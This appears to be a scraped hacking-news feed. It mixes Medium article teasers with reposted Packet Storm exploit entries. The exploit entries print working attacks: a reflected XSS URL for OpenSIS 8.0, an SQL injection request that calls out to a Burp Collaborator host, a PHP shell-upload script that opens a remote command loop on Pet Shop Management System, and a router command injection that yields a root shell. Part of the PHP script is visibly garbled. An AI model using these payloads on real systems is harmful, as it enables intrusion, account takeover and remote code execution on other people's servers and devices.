Augmented Finance Testnet Bug Bounty: Retrospective and Prizes

Incredible 2,600+ testers during the past 2 weeks. Devs fixed all of 24 findings. 5,000+ new followers on social media. Welcome 81 winners!Continue reading on Medium »
Read more...

Hacking on Medium
Puisi Abadi Python

https://cdn-images-1.medium.com/max/2600/1*p9qBMe9Wql3Vx0f3tpcPOA.jpeg
Bahasa pemrograman merupakan sebuah kode atau syntax yang digunakan untuk memberikan suatu perintah kepada komputer.
Secara sederhana…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack and Hacking Concept

https://cdn-images-1.medium.com/max/720/1*OuQqPuAUpwRsi5RsvklLng.jpeg
Introduction to Hacking

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack This Site: Realistic Web Mission — Level 2

https://cdn-images-1.medium.com/max/2048/1*EsZG7xugetM1M-1nvj3PuA.png
Today, we are looking at Hack This Site Realistic Mission level 2 where we need to hack the Nazis. Personally, I loved this mission. It’s…

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Reddit’s 9 Best Pieces of Advice

https://cdn-images-1.medium.com/max/1000/0*7TPbAO28GizqvtVG
There’s so much to like here.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenSIS 8.0 Cross Site Scripting

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
OpenSIS version 8.0 suffers from a cross site scripting vulnerability.

MD5 | 5d4cc780209ccce0149ea54d8519fa91

Download
# Exploit Title: OpenSIS 8.0 - 'cp_id_miss_attn' Reflected Cross-Site Scripting (XSS)
# Date: 9/24/2021
# Exploit Author: Eric Salario
# Vendor Homepage: http://www.os4ed.com/
# Software Link: https://opensis.com/download
# Version: 8.0
# Tested on: Windows, Linux
# CVE : CVE-2021-40310

OpenSIS Community Edition version 8.0 is affected by a cross-site scripting (XSS) vulnerability in the TakeAttendance.php via the cp_id_miss_attn parameter.

1. Login as "teacher".

2. Navigate to (take attendance): http://demo.opensis.com/ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true

Decoded request:

GET /ForExport.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=rotf7 onmouseover=alert(document.domain) style=position:absolute;width:100%;height:100%;top:0;left:0; z3as5&cpv_id_miss_attn=23&ajax=true&include=attendance/TakeAttendance.php&month_date=Aug&day_date=9&year_date=2021&table=0&page=&LO_sort=&LO_direction=&LO_search=&LO_save=1&_openSIS_PDF=true HTTP/1.1

3. XSS triggers

PoC Video: https://www.youtube.com/watch?v=aPKPUDmmYpc


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Google Extensible Service Proxy Header Forgery

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Covid Vaccination Scheduler System 1.0 SQL Injection / Cross Site Scripting

https://4.bp.blogspot.com/-dyIqvjR3K84/WWlvfXt5NkI/AAAAAAAAIQA/Fvmwfk3J4TgcxqdY3USv0_rN_ZW9VtW1ACLcBGAs/s1600/h85.png
Covid Vaccination Scheduler System version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to faisalfs10x in July of 2021.

MD5 | 244e4f5a3652b8edf45eaf6f522a54a4

Download
## [CVE-2021-36621](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36621)
## [Vendor](https://www.sourcecodester.com/php/14847/online-covid-vaccination-scheduler-system-php-free-source-code.html)
## Description

Sourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection, XSS-STORED PHPSESSID Hijacking, and remote SQL Injection - bypass Authentication.

The attacker can be hijacking the PHPSESSID by using this vulnerability and then he can log in to the system and exploit the admin account.

Next, exploitation: For MySQL vulnerability, the username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash, an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as an Administrator.

## Request MySQL:
GET /scheduler/addSchedule.php?lid=(select%20load_file('%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd'))&d= HTTP/1.1
Host: localhost
Cookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

## Respond MySQL:
HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 11:17:00 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 5045
Connection: close
Content-Type: text/html; charset=UTF-8

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Pet Shop Management System 1.0 Shell Upload

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Pet Shop Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 627f1d99e1a6128d4f0c6fe3fd446a5b

Download
# Title: Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 28.09.2021
# Author: Mr.Gedik
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14962/petshop-management-system-using-phppdo-oop-full-source-code-complete.html
# Version: 1.0
# https://asciinema.org/a/mjRFsUvshjGIcTsped1PAH8CB
Vulnerable code controllers/add_petmanagement.php
Line 21 - move_uploaded_file($_FILES["images"]["tmp_name"],
$_SERVER['DOCUMENT_ROOT']."/Petshop_Management_System/uploads/" .
addslashes($_FILES["images"]["name"]));

Exploit
#############
/*
@author:mrgedik
*/
function anim($msg, $time)
{
$msg = str_split($msg);
foreach ($msg as $ms) {
echo $ms;
usleep($time);
}
}

anim("__ __ _____ _ _ _
| \/ | / ____| | (_) |
| \ / |_ __| | __ ___ __| |_| | __
| |\/| | '__| | |_ |/ _ \/ _` | | |/ /
| | | | |_ | |__| | __/ (_| | |
|_| |_|_(_) \_____|\___|\__,_|_|_|\_\
", 900);

echo PHP_EOL;
while(1)
{
echo anim("Target (http://example.com/path/): ", 800);
$target = trim(fgets(STDIN));
echo PHP_EOL;
if (filter_var($target, FILTER_VALIDATE_URL) === FALSE) {
echo "Not a valid URL".PHP_EOL;
}else {
break;
}
}
@unlink("exp.php");
$fw = fopen("exp.php","a+");
fwrite($fw,' new \CurlFile("exp.php", 'image/png', 'exp.php')
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
$response = curl_exec($ch);
@unlink("exp.php");

if(strstr($response,"success"))
{
while(1)
{
echo anim("root@pwn: ", 800);
$command = trim(fgets(STDIN));
if($command == trim("exit"))
{
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$target."/uploads/exp.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"m=passthru&g=".trim($command));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo curl_exec($ch);
curl_close ($ch);
}
}else
{
echo anim("Fail", 800);
}
?>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Mitrastar GPT-2541GNAC-N1 Privilege Escalation

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Mitrastar GPT-2541GNAC-N1 suffers from a privilege escalation vulnerability that provides root privileges.

MD5 | 7476572a4f2ed2d140db93215e304ccf

Download
# Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
# Date: 10-08-2021
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage: www.mitrastar.com
# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
# Tested on: Firmware BR_g3.5_100VNZ0b33
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md

Description:

----------

# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).

# The command “deviceinfo show file deviceinfo show file &&/bin/bash

# This command will spawn a full interoperable bash console with root privileges.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video